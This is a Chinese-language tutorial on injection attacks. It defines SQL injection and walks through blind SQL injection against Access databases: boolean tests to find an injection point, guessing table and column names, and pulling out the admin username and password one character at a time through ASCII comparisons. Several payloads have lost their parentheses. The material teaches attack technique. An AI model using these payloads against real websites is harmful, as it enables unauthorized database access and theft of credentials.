注入攻击
定义:注入攻击发生在当不可信的数据作为命令或者查询语句的一部分, 被发送给解释器的时候。攻击者发送的恶意数据可以欺骗解释器, 以执行计划外的命令或者访问未被授权的数据。
注入攻击常见类型有:
SQL 注入
OS 命令注入
XML 注入
LDAP 注入
SQL 注入定义:当应用程序将用户输入的内容, 拼接到SQL 语句中, 一起提交给数据库执行时, 就会产生SQL 注入威胁。
在这个URL中“?”后面跟接的是查询参数,
SQL结构化查询语言:select * from news where id = 45;
select * from news where id = 43;
id = 45来源于客户的输入,我们可以修改id = 43参数修改网页的内容。修改的参数如果拼接到SQL语句中被执行,就说明这个地方存在注入漏洞。
注入点怎么判断:
select * from news where id = 45 and 1 =1;
select * from news where id = 45 and 1 =2;
网页并没有报错
看到数据库出错,说明SQL语句被执行
逐字猜解法( 明小子、阿D 工具采用此方法)以下语法适用于Access数据库
1 、判断有无注入点
and 1 = 1
and 1 = 2
2 、猜表名( 一般的表的名称无非是admin adminuser user pass password 等)
and Select count*) from 表名) < > 0
只要表存在,不为空就有数据,上图count为5,<>表示不等于0,5不等于0逻辑为真
and exists select * from 表名)
name表不存在,数据库报错。我们要换一个角度,从开发者的角度去猜一个表名
说明存在admin这个表名,逻辑返回为真,网页返回正常。
3 、猜列名
and Select count列名) from 表名) < > 0
and exists select 列名from 表名)
username列名不存在
同样的,我们判断出在admin这个表里。存在admin字段、password字段
判断admin这个字段只有1行。因为count等于1,1>0成立。1>1不成立
4、判断内容长度
and select top 1 lenuser_name )from admin)=5 #user name 的长度= 5 , 正常则= 5 , 也可以用> , < 号去判断)。top1 表示如果有10列结果只取第一列,mysql数据库用limit
判断用户名admin长度为5,同样的判断password长度也为 5
5、截取字符串转换为ascii 码进行数值比较, 判断ascii码值:
and select top 1 ascmiduser_name,1,1)) from admin)=97 #判断第一位( 97 代表的 ‘a’ 的 ascii 值)
and select top 1 ascmiduser_name,2,1)) from admin)=97 #判断第二位,user_name,1,1)前面的‘1’代表第几位,后面的‘1’代表取几个字符
判断出admin字段的第一位ASCII码值为97,因为97>97不成立,97>96成立,所以在拼接SQL语句时>97页面报错。
同理admin字段的第二位ASCII码为100,根据这样的步骤我们就能猜出admin字段和password字段,获得管理员登录的账号密码。
总结
只要是和数据库交互的查询参数,能猜到并被带到数据库中查询的,我们都可以认为存在注入。如果数据传递不是URL,而是通过post表单,例如我们买东西生成的订单号,不是自己输入的,而是通过post传递到数据库,我们可以在数据体中用burp抓包。一般存在注入点的地方包括输入账号密码的表单,搜索功能等,只要是与数据库交互的地方。